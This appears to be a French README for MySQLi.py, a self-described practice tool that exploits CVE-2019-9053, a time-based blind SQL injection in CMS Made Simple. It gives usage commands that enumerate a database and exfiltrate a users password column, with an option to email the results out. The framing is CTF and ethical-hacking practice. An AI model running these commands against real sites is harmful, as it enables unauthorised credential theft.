
Outil d'injection SQL aveugle basé sur le temps pour MySQL - CVE-2019-9053
MySQLi.py est un projet personnel de pratique, inspiré par l'exploit Exploit-DB 46635, utilisé lors de la salle SimpleCTF sur TryHackMe.
Ce qui a retenu mon attention dans l'exploit original était sa capacité à extraire des identifiants et même à craquer automatiquement le hash du mot de passe. Avec cette motivation, j'ai voulu écrire ma propre version - plus moderne, avec une meilleure interface et plus d'options de personnalisation. Il existe peut-être déjà des outils comme celui-ci, mais j'espère que ce petit programme est une contribution de plus au monde du hacking éthique !
L'outil exploite CVE-2019-9053, une vulnérabilité dans CMS Made Simple < 2.2.10 qui expose un paramètre non assaini vulnérable à une injection SQL aveugle basée sur le temps, sans nécessiter d'authentification. Comme la réponse web n'affiche pas directement les données, la technique fonctionne en injectant des conditions IF(SUBSTRING(...), SLEEP(n), 0) et en mesurant le temps de réponse pour deviner chaque caractère, un par un, de la base de données, des tables, des colonnes et des données.
MySQLi demo
pip install -r requirements.txt
Pour utiliser l'option --email, créez un fichier .env dans le même répertoire.
Utilisez le modèle fourni dans .env.example :
[email protected]
GMAIL_PASS=xxxx xxxx xxxx xxxx
Le mot de passe doit être un mot de passe d'application Google, et non votre mot de passe Gmail habituel. Vous pouvez en générer un sur : myaccount.google.com/apppasswords
git clone https://github.com/rgkue/mysqli.git
cd mysqli
pip install -r requirements.txt
python3 mysqli.py --help
$ python3 mysqli.py --help
███╗ ███╗██╗ ██╗███████╗ ██████╗ ██╗ ██╗
████╗ ████║╚██╗ ██╔╝██╔════╝██╔═══██╗██║
██╔████╔██║ ╚████╔╝ ███████╗██║ ██║██║ ██║
██║╚██╔╝██║ ╚██╔╝ ╚════██║██║▄▄ ██║██║ ██║
██║ ╚═╝ ██║ ██║ ███████║╚██████╔╝███████╗██║
[!] Time-Based Blind SQL Injection for MySQL
Author: Isaac Muñoz - @rgkue | Github: github.com/rgkue/mysqli
Options:
--url <url> Target URL (required)
--mode <mode> Attack mode: database / tables / columns / exfil
--sleep <seconds> Sleep time for time-based injection (default: 5)
--delay <seconds> Delay between requests
--field <name> Vulnerable form field name (default: username)
--max <positions> Max character positions to extract (default: 40)
--table <name> Table name (required for columns/exfil)
--column <name> Column name (required for exfil)
--offset <n> Row offset - 0=first, 1=second... (default: 0)
--email <address> Send results to email (optional)
--output <file> Save data on a file
--help, -h Show this help message and exit
Examples:
python3 mysqli.py --url http://target/login.php --mode database
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
python3 mysqli.py --url http://target/login.php --mode columns --table users
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
python3 mysqli.py --url http://target/login.php --mode database --email [email protected]
# 1. Get the active database name
python3 mysqli.py --url http://target/login.php --mode database
# 2. List tables (use --offset to iterate)
python3 mysqli.py --url http://target/login.php --mode tables
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
# 3. List columns from a table
python3 mysqli.py --url http://target/login.php --mode columns --table users
# 4. Extract data from a column
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
# 5. Run multiple modes in one command
python3 mysqli.py --url http://target/login.php --mode database,tables
# 6. Save results to a file
python3 mysqli.py --url http://target/login.php --mode database --output results.txt
# 7. Send report by email
python3 mysqli.py --url http://target/login.php --mode database,tables --email [email protected]
# 8. Custom injection field
python3 mysqli.py --url http://target/search.php --mode database --field search
MySQLi.py est conçu exclusivement à des fins éducatives et pour des environnements où vous avez une autorisation explicite d'effectuer des tests de sécurité.
L'utilisation de cet outil contre des systèmes sans autorisation écrite préalable du propriétaire est illégale et peut constituer une infraction pénale selon les lois de nombreux pays. L'auteur n'est pas responsable des dommages, pertes de données, conséquences juridiques ou tout autre préjudice causé par une mauvaise utilisation de ce logiciel.
Utilisez-le uniquement dans vos propres laboratoires, environnements CTF, plateformes d'entraînement comme TryHackMe ou HackTheBox, ou des systèmes que vous êtes autorisé à tester.
Bon hacking ! :)